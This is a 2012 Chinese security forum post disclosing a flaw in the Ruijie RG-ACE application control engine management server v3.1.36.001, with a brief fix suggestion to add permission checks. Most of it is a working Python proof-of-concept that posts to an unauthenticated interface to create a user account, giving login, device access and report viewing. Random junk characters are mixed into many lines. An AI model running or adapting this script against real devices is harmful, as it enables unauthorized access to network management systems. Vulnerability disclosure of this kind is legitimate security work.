找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2387|回复: 0
打印 上一主题 下一主题

锐捷应用控制引擎管理服务器可以增加用户

[复制链接]
跳转到指定楼层
楼主
发表于 2012-12-10 10:16:32 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
锐捷应用控制引擎管理服务器(RG-ACE系列应用控制引擎管理服务器V3.1.36.001,官网的连接 http://www.ruijie.com.cn/service/down-search.aspx 显示是最新版)可以根据没有权限验证的接口直接增加用户,连接设备,查看设备信息和报表(权限相对于默认的admin比较低): b% g' z& A# B' t& E' @

4 o8 k. |$ k7 L! C% ~+ J9 t! c3 m" v% r5 k0 t' z& x
测试的具体版本是6 b5 ^9 x$ R- O' e0 b$ U
产品名称: 锐捷应用控制引擎' P  s' @# c! Y1 E! D
版本号: 3.1.36.001 TC
" D$ ]+ v- t- G$ I5 Q6 l( _! x编译时间: 201104291730
" Y1 I# p& S* c. C5 [' [5 | 9 c2 h# N7 l6 N: y6 i
& A+ l8 P( Z% c2 g# j
漏洞证明:
' m( L- b. B# g5 ^ 1 `1 v( E! g" r. @/ s
  [- K: K% L" ~0 @& |$ S0 W

1 O& h5 ]7 @, K) n8 {
# v+ G$ ]" U( m3 `; m, n
+ l* h% a3 ?" _
7 F# _* j& b3 L0 g, m9 G执行脚本" {5 c% ^0 g. ?' [4 E- _8 N
#! /usr/bin/env python
' [; n  r. P! E6 T, Y#coding=gbk
) C+ e! B/ ~) a+ m#RG-ACE管理服务器 V3.1.36.001  c0 g: t& I/ i3 C
import urllib2, urllib,cookielib' l# k$ e  s4 R' J
url=r'http://IP/mars/doInsertUserInfo.do' #IP改为装这个软件的IP! l. ?0 b1 p3 V. ]1 N& b
opener=urllib2.build_opener(urllib2.HTTPCookieProcessor(cookielib.CookieJar()))) O& |2 A3 N6 _) y4 R0 f
opener.addheaders = [('User-agent','Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)')]4 ^) T& k0 ^" o& k1 h1 B
post=(("event","userManager.doInsertUserInfo"),
% i% b) ~( t. X& C8 \  e$ @: j: @1 _("useractionname","addButtonValue"),
/ a# `* M0 Q, c! @5 m% `("useropermanager","userManager"),( {$ o: c: l3 i
("userName","t"), #######账号自己加! n9 p1 _& E0 Q7 C5 g6 t6 ^
("pwd","aaaaaa"),######密码自己加
3 H/ t. q# R! B("trueName","ad"),
" F! ?* Z" ?& o4 k. t% ?("email",""),
; [  X2 F" A% H4 |6 @, V("mobilePhone",""),
+ `- e& Y" r& T4 L( S("officePhone",""),
1 M  a" c. y3 }- y9 A("addr",""),$ E- J+ e+ r. e9 V8 |# |
("submit","确定"))( c; D( i6 A* j' \: s: c$ u
urllib2.install_opener(opener)9 y. Y1 y8 L0 t6 W4 O
p=urllib2.urlopen(url, urllib.urlencode(post)).read()
4 T/ R/ ]3 Q2 w0 tprint "Done"
# `4 ~6 S8 g, `# r# Q( ?! R
! O" O+ l. l% w! y. g+ B: |$ N0 y# S登录,连接设备
1 z* [  U; e8 w6 }& ~2 P4 ^. w' F3 d& T+ U/ S- V! J2 j
1 A$ _& E& Q) ?* E" j
8 V0 [$ E& r: P7 X8 g4 K

+ K0 j+ D+ L) j- y! V
% n( H6 {# e; q. E6 I+ g6 I( @默认的管理员admin权限更大点9 n3 ~, D$ `* K2 [4 D. O3 B

) z/ |; W5 L; o9 P2 o
" X' g3 g- _- W8 i4 Q, B3 a4 U' ~/ c# w8 H
9 v8 r& @$ p3 m1 c. \6 y2 F, {
0 j9 _2 c0 p! K0 n
修复方案:
8 \/ G1 a2 z% A0 |  k/ V加强对接口的权限验证* l( c  i1 N4 Y2 C. j# V

8 m+ `( ]! }  P/ U
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表